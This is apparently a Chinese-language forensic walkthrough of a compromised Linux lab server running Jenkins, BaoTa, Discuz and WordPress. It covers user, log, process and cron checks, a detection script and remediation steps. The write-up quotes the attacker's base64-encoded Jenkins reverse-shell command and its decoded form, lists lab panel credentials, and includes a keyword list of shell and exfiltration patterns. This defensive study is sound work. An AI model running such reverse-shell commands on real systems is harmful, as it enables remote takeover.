免责声明
本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!

passwords.txt:https://127.0.0.1:15493/c536062cusername: fidiyixbpassword: 0f48abfdhttp://127.0.0.1:6631/username: adminpassword: BnGDPepT3P4BsxRhttp://127.0.0.1:6565/username: adminpassword: admin148849464348
登录信息查询
假设,黑客已经入侵这台服务器了,我们第一步要做的是什么呢?
查看用户?查看日志?查看进程?直接拿脚本、工具去扫?
不,都不是
第一步,最主要的是现在都有哪些人在登录,比如黑客是否在进行其他操作,如果当时黑客正在连接服务器,先ban掉黑客的IP以及连接,在做其他操作,不然一切都是无用功
w:查看系统信息,用于显示某一时刻用户的行为

USER: 登录帐号
TTY : 终端名称
FROM: 远程主机名
LOGIN@: 登录时间
IDLE: 空闲时间
JCPU: 该TTY终端连接的所有进程的占用时间
PCPU: 当前进程(即w项中显示的)的占用时间
WHAT: 当前正在运行进程的命令行
who:查看当前登录用户(tty本地登录 pts远程登录)

last:用于显示用户最近登录信息


可以看出:zgsfsys:安装系统时创建的主登录用户jenkins:安装 Jenkins 服务时自动创建的用户www:存在web网站,额外创建的用户smnta:安装 Sendmail 服务时创建的邮件传输代理用户smmsp:安装 Sendmail 服务时创建的邮件提交程序用户mysql:安装 MySQL 服务时自动创建的用户
查询特权用户特权用户(uid 为0):awk -F: '$3==0{print $1}' /etc/passwd

查询可以远程登录的账号信息(普通账户没权限):awk '/\$1|\$6/{print $1}' /etc/shadow


除root账号外,zgsfsys和jenkins用户都可以进行远程登录

admin用户组存在sudo权限
cat /etc/group|grep admin

既然不在admin组,为什么可以sudo?
groups zgsfsys

可以看到,zgsfsys有两个组:sudo和lpadmin组
grep -E "^%sudo|^%admin" /etc/sudoers


所以这里拥有sudo权限很合理(当然普通用户建议不要提供sudo权限)
usermod -L user:禁用帐号,帐号无法登录,在etc/shadow第二栏为!开头
userdel user:删除user用户
userdel -r user:将删除user用户,并且将/home目录下的user目录一并删除


得出以下结论:安装了jenkins、1panel、宝塔,存在docker服务,出现IP:192.168.11.129,反弹shellprintln "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS8xMjM0IDA+JjE= | base64 --decode | bash ".execute().textjenkins命令执行语句解码之后:println "echo bash -i >& /dev/tcp/192.168.11.129/1234 0>&1 | base64 --decode | bash ".execute().textecho YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS8xMjM0IDA+JjE= | base64 --decode | bash解码之后:echo bash -i >& /dev/tcp/192.168.11.129/1234 0>&1 | base64 --decode | bash
1)保存1万条命令sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile2)在/etc/profile的文件尾部添加如下行数配置信息:######jiagu history xianshi#########USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]thenUSER_IP=`hostname`fiexport HISTTIMEFORMAT="%F %T $USER_IP `whoami` "shopt -s histappendexport PROMPT_COMMAND="history -a"######### jiagu history xianshi ##########3)source /etc/profile让配置生效


1. 查看磁盘上永久保存的所有历史命令(直接看文件)
cat ~/.bash_history

2. 把文件命令重新加载回内存(执行后 history 命令就能看见了)
history -r ~/.bash_history

执行 history -c(清空内存)
执行 history -w(用空内存覆盖磁盘文件)
查看有没有异常端口
查看pid所对应的进程文件路径:ls -l /proc/$PID/exe($PID 为对应的pid 号)


#!/bin/bash# 彻底修复版:解决TCP/UDP列数差异导致的UDP PID识别失败问题# 颜色配置GREEN="\033[0;32m"YELLOW="\033[1;33m"BLUE="\033[0;34m"RED="\033[0;31m"NC="\033[0m"clearprintf "${BLUE}==================== netstat -anptu 全量端口一览(终极修复版) ====================${NC}\n"printf "${GREEN}协议 | 端口 | 状态 | PID | 进程名 | 程序绝对路径${NC}\n"printf "${GREEN}----------------------------------------------------------------------${NC}\n"# 核心:用awk区分TCP/UDP列数,避免错位sudo netstat -anptu | tail -n +3 | grep -v "unix" | awk '{proto = $1;local = $4;foreign = $5;# 区分TCP/UDP,处理列数差异if (proto ~ /tcp|tcp6/) {state = $6;pid_proc = $7;} else if (proto ~ /udp|udp6/) {state = "---"; # UDP无状态pid_proc = $6;} else {next;}# 提取端口(兼容0.0.0.0:xxx、:::xxx格式)split(local, parts, /:/);port = parts[length(parts)];if (port !~ /^[0-9]+$/) next;# 输出给shell处理print proto, port, state, pid_proc;}' | while read proto port state pid_proc; do# 提取PID(兼容所有格式,如887/avahi-daemon: r)pid=$(echo "$pid_proc" | grep -oE '^[0-9]+')pname=$(echo "$pid_proc" | cut -d/ -f2- | sed 's/:.*//; s/ .*//')# 获取程序绝对路径if [[ "$pid" =~ ^[0-9]+$ ]]; thenpath=$(sudo lsof -p "$pid" 2>/dev/null | grep txt | awk '{print $9}' | head -1)if [ -z "$path" ]; thenpath="${RED}无权限/内核进程${NC}"fielsepath="${RED}无PID${NC}"pid="---"pname="---"fi# 格式化输出printf "%-4s | %-5s | %-7s | %-4s | %-8s | %b\n" "$proto" "$port" "$state" "$pid" "$pname" "$path"doneprintf "${BLUE}======================================================================${NC}\n"printf "${YELLOW}说明:已修复TCP/UDP列数差异,UDP端口PID可正常识别${NC}\n"

从这里可以看出有哪些进程:python3nginxsendmailcontainerdpure-ftpdcupsdjava-openjdkmysqldavahi-daemon
查看有没有异常进程


查看有没有异常的开机启动项
/etc/rc.local

ll -a /etc/rc[0~6].d

查看有没有异常的计划任务
crontab -l

Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root
重点关注以下目录中是否存在恶意脚本:
/var/spool/cron/*/etc/crontab/etc/cron.d/*/etc/cron.daily/*/etc/cron.hourly/*/etc/cron.monthly/*/etc/cron.weekly//etc/anacrontab/var/spool/anacron/*
more /etc/cron.daily/* 查看目录下所有文件#!/bin/bash# 功能:一键检查所有Cron相关目录中的恶意脚本 + 风险明细汇总# 用法:sudo ./check_cron_malware.sh# 颜色定义RED='\033[0;31m'GREEN='\033[0;32m'YELLOW='\033[1;33m'BLUE='\033[0;34m'NC='\033[0m' # 重置颜色# 1. 定义需要检查的Cron路径列表CRON_PATHS=("/var/spool/cron/*""/etc/crontab""/etc/cron.d/*""/etc/cron.daily/*""/etc/cron.hourly/*""/etc/cron.monthly/*""/etc/cron.weekly/*""/etc/anacrontab""/var/spool/anacron/*")# 2. 定义恶意/可疑关键词HIGH_RISK_KEYWORDS=("bash -i" "/dev/tcp/" "/dev/udp/" "nc " "ncat " "telnet ""wget -O-" "curl | " "curl -sL |" "wget | bash" "curl | bash""base64 -d" "eval " "exec " "rm -rf /" "chmod 777""/tmp/" "/dev/shm/" "/var/tmp/")MEDIUM_RISK_KEYWORDS=("nohup " "setsid " " &>/dev/null" ">/dev/null 2>&1" "crontab -r""crontab -l" "crontab -e" "*/1 * * * *" "*/5 * * * *")# 3. 初始化统计 & 风险明细数组TOTAL_FILES=0HIGH_RISK_COUNT=0MEDIUM_RISK_COUNT=0# 新增:存储风险明细(文件|行号|内容)HIGH_RISK_LIST=()MEDIUM_RISK_LIST=()# 4. 打印标题clearecho -e "${BLUE}=================================================="echo -e " Cron 恶意脚本一键检查工具"echo -e "==================================================${NC}"echo -e "${YELLOW}检查路径列表:${NC}"for path in "${CRON_PATHS[@]}"; doecho -e " - $path"doneecho -e "${BLUE}==================================================${NC}\n"# 5. 遍历所有路径,检查文件for path_pattern in "${CRON_PATHS[@]}"; dofor file in $path_pattern; doif [ ! -e "$file" ]; then continue; fiif [ -d "$file" ]; thenecho -e "${YELLOW}[!] 跳过目录:$file${NC}"continuefi((TOTAL_FILES++))echo -e "${GREEN}[+] 正在检查文件:$file${NC}"echo -e "----------------------------------------"content=$(sudo cat "$file" 2>/dev/null)if [ $? -ne 0 ]; thenecho -e "${RED} 无法读取文件(权限不足)${NC}"echo ""continuefiline_num=0while IFS= read -r line; do((line_num++))line_printed=falserisk_type=""# 检查高风险for keyword in "${HIGH_RISK_KEYWORDS[@]}"; doif echo "$line" | grep -q "$keyword"; thenecho -e "${RED} 第$line_num行 [高风险]:$line${NC}"((HIGH_RISK_COUNT++))HIGH_RISK_LIST+=("$file|$line_num|$line")line_printed=truebreakfidone# 检查中风险if [ "$line_printed" = false ]; thenfor keyword in "${MEDIUM_RISK_KEYWORDS[@]}"; doif echo "$line" | grep -q "$keyword"; thenecho -e "${YELLOW} 第$line_num行 [中风险]:$line${NC}"((MEDIUM_RISK_COUNT++))MEDIUM_RISK_LIST+=("$file|$line_num|$line")line_printed=truebreakfidonefi# 正常行if [ "$line_printed" = false ]; thenecho -e " 第$line_num行:$line"fidone <<< "$content"echo -e "----------------------------------------\n"donedone# 6. 基础检查报告echo -e "${BLUE}=================================================="echo -e " 检查报告"echo -e "=================================================="echo -e " 检查文件总数:${TOTAL_FILES}"echo -e " 高风险可疑项:${RED}${HIGH_RISK_COUNT}${NC}"echo -e " 中风险可疑项:${YELLOW}${MEDIUM_RISK_COUNT}${NC}"echo -e "${BLUE}==================================================${NC}"# 7. 【新增】风险明细汇总(核心功能)echo -e "\n${BLUE}=================================================="echo -e " 风险明细汇总表"echo -e "==================================================${NC}"# 汇总高风险if [ ${#HIGH_RISK_LIST[@]} -gt 0 ]; thenecho -e "\n${RED}🔴 高风险明细:${NC}"echo -e "--------------------------------------------------"for item in "${HIGH_RISK_LIST[@]}"; doIFS='|' read -r fpath line content <<< "$item"echo -e "📄 文件:$fpath"echo -e "🚩 行号:第 $line 行"echo -e "⚠️ 内容:$content"echo -e "--------------------------------------------------"doneelseecho -e "\n${GREEN}✅ 无高风险项${NC}"fi# 汇总中风险if [ ${#MEDIUM_RISK_LIST[@]} -gt 0 ]; thenecho -e "\n${YELLOW}🟡 中风险明细:${NC}"echo -e "--------------------------------------------------"for item in "${MEDIUM_RISK_LIST[@]}"; doIFS='|' read -r fpath line content <<< "$item"echo -e "📄 文件:$fpath"echo -e "🚩 行号:第 $line 行"echo -e "⚠️ 内容:$content"echo -e "--------------------------------------------------"doneelseecho -e "\n${GREEN}✅ 无中风险项${NC}"fiecho -e "\n${BLUE}==================================================${NC}"if [ $HIGH_RISK_COUNT -gt 0 ]; thenecho -e "${RED}[!] 警告:发现高风险内容,请立即排查处理!${NC}"elseecho -e "${GREEN}[+] 检查完成,系统Cron任务相对安全${NC}"fi

查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性
得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?
可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件
针对可疑文件可以使用stat进行创建修改时间。
find / -type f -exec stat --format '%W %n' {} \; 2>/dev/null | awk -v start="$(date -d '2024-03-18 00:00:00' +%s)" -v end="$(date -d '2024-03-19 23:59:59' +%s)" '$1 != "0" && $1 >= start && $1 <= end {print $2}'查找某段时间内修改的文件(mtime):
find / -type f -newermt "2024-03-18 00:30:00" ! -newermt "2024-03-20 15:28:00" 2>/dev/null查找某段时间访问的文件(atime):
find / -type f -newerat "2024-03-18 00:30" ! -newerat "2024-03-20 15:28" 2>/dev/null查找某段时间内修改属性的文件(ctime):
find / -type f -newerct "2024-03-18 00:30" ! -newerct "2024-03-20 15:28" 2>/dev/null



日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
分析技巧:1、定账位有多少IP在爆破主机的root账号:grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more定位有哪些IP在爆破:grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c爆破用户名字典是什么?grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr2、登录成功的IP有哪些:grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more登录成功的日期、用户名、IP:grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
需要注意:
centos使用的是:/var/log/secure
ubuntu使用的是:/var/log/auth.log
这里查不到有用的信息


火狐历史记录:宝塔面板:127.0.0.1:15493Discuz论坛、管理中心、登录、安装:127.0.0.1:6565GitLab:127.0.0.1:8090程序员的小破绽、WordPress:127.0.0.1:6631Jekins:192.168.11.136:8080








宝塔页面可得出:默认存储账号密码存在两个网站,分别为DIscuz和WordPress,端口分别为6565和6631存在FTP存在两个数据库,分别为DIscuz和WordPress程序的数据库,这里可直接得到两个数据库的用户名密码、root密码、可访问Phpstudy页面,MySQL版本为5.6.50可直接操作目录可查看操作日志无法可以直接连接ssh,需要密码
Discuz论坛排查



GitLab排查




Jekins




成功拿到了root权限,之后的步骤就很简单了,攻击者写了个1文件,然后进行反弹shell
然后配置IP,在其他机器访问

发现确实存在未授权(可直接访问,无账号密码)
IP朔源
反弹shell:反弹的是内网IP
FRP程序:156.66.33.66

后续步骤没有了,因为后续涉及到GitHub溯源,但是GitHub文件被删除了
入侵流程
日志有限,而且这里主要是溯源,所以看不上什么有用的信息入口点:Jekins未授权+getshell,得到root权限,时间未知Discuz论坛,192.168.11.129内网IP进行了恶意操作,时间:2024.09.20 05:44:15/1文件(反弹shell),最后一次被修改时间:2024.9.20 06:08:55chuantou文件夹(frp配置),最后一次被修改时间:2024.9.20 06:28:34
修复
桌面:passwords.txt删除掉
用户:非必要不要给登录权限,不要给远程登录权限
删除/1文件、/root/chuantou文件夹
WEB网站:
漏洞修复:Discuz论坛、GitLab、程序员的小破绽、Wordpress、Jekins此版本是否存在其他漏洞
密码修改:修改宝塔、Discuz、Wordpress、MySQL密码(建议修改,不确定是否入侵进去)
FTP服务:是否需要
密码:修改宝塔root、zgsfsys密码
进行常规安全检查、杀毒,进行全面主机排查
配置防火墙,设置规则
网上找模板
公司有特定模板
使用工具生成(只是入侵检测,无后续善后工作,如果需要善后工作需要自己补充)
https://github.com/s1g0day/ReportGenX
如果需要溯源,需要自己单独加一个溯源的章节,大概写一下怎么溯源的就行
溯源